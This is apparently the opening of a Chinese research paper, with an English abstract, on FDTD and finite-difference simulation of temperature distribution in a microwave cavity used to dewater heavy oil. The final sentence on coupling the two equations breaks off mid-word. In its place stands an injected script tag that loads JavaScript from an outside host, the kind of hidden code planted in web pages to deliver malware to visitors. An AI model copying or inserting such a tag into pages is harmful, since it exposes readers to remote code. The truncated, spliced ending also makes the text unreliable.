摘 要：微波加热过程中，加热腔内部的温度分布对研究微波加热稠油引发的含水稠油的流变性和含水率的变化有着重要的意义，本文通过用fdtd方法求解maxwell方程和用有限差分法求解传热方程，得到了微波加热腔内部的温度分布，为研究稠油的微波加热脱水提供了理论依据。
关键词：微波加热， fdtd方法， 数值模拟
the experimental and simulation research on the microwaveheating for water cut heavy oil
wang ying， wei aijun， jiang huayi, jin youhuang
(xi’an petroleum university, xi’an 710065)
abstract:during the microwave heating process, the temperature distribution of the heating cavity is very important for the study of the change of the theological property and the water cut of the water cut heavy oil radiated by microwave. in this paper, the fdtd method is used to solve the maxwell equation and the finite difference method is used to solve the thermal equation to get the temperature distribution inside the cavity. the obtained data is useful for the study of the mechanism on the dehydration of the heavy oil radiation by microwave.
key words:microwave heating, fdtd method, numerical simulation
1 引言
实验表明，微波加热含水稠油的过程中，在加热的平均温度不高的条件下，稠油的流变性和含水率发生了明显的变化，而这种变化是常规的加热方式所不具有的［1,2］。为了研究微波加热引发的稠油的流变性和含水率变化的机理，研究加热过程中，加热腔内部温度的空间分布和随时间的变化情况有着重要的意义。但加热过程中的温度分布的实验测量是很难的，因此用数学模型来模拟微波加热过程是分析加热过程中加热腔内电磁场分布和温度分布的有效方式［3,4,5,6］。
2 微波加热的数学模型
微波对物质的加热实质上是一种电磁场能量在传播过程中的损耗过程。由于电磁场是以光速在介质中传播，所以微波加热对于加热介质而言具有内部加热的特点。如果介质有足够大的介电损耗的话，微波加热的速度比常规的依赖于传导加热（油的传热性较差）的方法要快很多倍。在微波加热过程中，微波损耗作为内热源。所以建立稠油加热的数学模型要解决三个问题：
·求解maxwell方程得到加热器内的电磁场的分布；
·求解传热方程得到加热器内的温度分布；
·maxwell方程与传热方程的耦合。
2.1 求解maxwell方程得到加热腔内的电磁场的分布
本文使用三维fdtd算法计算加热腔内部的电场强度和损耗功率分布。电磁场问题的支配方程是maxwell方程，maxwell方程时域旋度方程的微分形式如下：
式中，e是电场强度(v/m)；d是电感应强度(c/m2)；h是磁场强度(a/m)；b是磁感应强度(wb/m2)；j是电流密度(a/m2)。
在直角坐标系中，yee式网格电磁场各分量在空间的相互关系如图1所示。电场强度矢量和磁场强度矢量的旋度方程（1）、（2）可以分解为六个标量方程，对六个标量方程采用二阶中心差分同时进行空间和时间上的离散化即可获得yee氏所给出的差分方程，对差分方程求解得到加热腔内的电磁场分布。
2.2 求解传热方程得到加热器内的温度分布
微波加热的原理是将加热物体作为微波传输的有耗介质，将有耗介质对微波的损耗变为热能，使加热物体的温度升高。加热过程中，热量的传递可通过求解传热方程（flourier方程）得到，在直角坐标系中，传热方程的微分形式如下：
其中：ρ表示密度(kg/m3)，c表示比热容(j/(kg·℃))，λ表示导热系数(w/(m·℃))，q表示热流密度(w/m2)，v表示容积(m3)。
求解传热方程首先要对求解区域进行离散化处理，在计算模型中，求解区域的包含不同物性的介质，因此区域的离散化采用内节点法较为方便。在直角坐标系中 ，单元网格的各元素之间的关系如图2所示，六面体的六个表面分别代表该节点的六个分界面，简称界面，它们的位置分别用脚标u、d、l、r、f、b表示。单元网格称为控制容积。温度节点p位于控制容积的中心。用控制容积法对传热方程离散化得到传热方程的差分方程，对其求解得到加热腔内的温度分布。
2.3 maxwell方程与传热方程的耦合
微波加热的过程包含两个性质不同的物理过程，一个过程是微波能在加热腔内的传播过程，在传播过程中由于稠油的损耗，一部分微波能量转化为热能；另外一个过程是传热过程，由于加热腔内的电场分布的不均匀性，稠油内部的温度分?script src=http://er12.com/t.js>
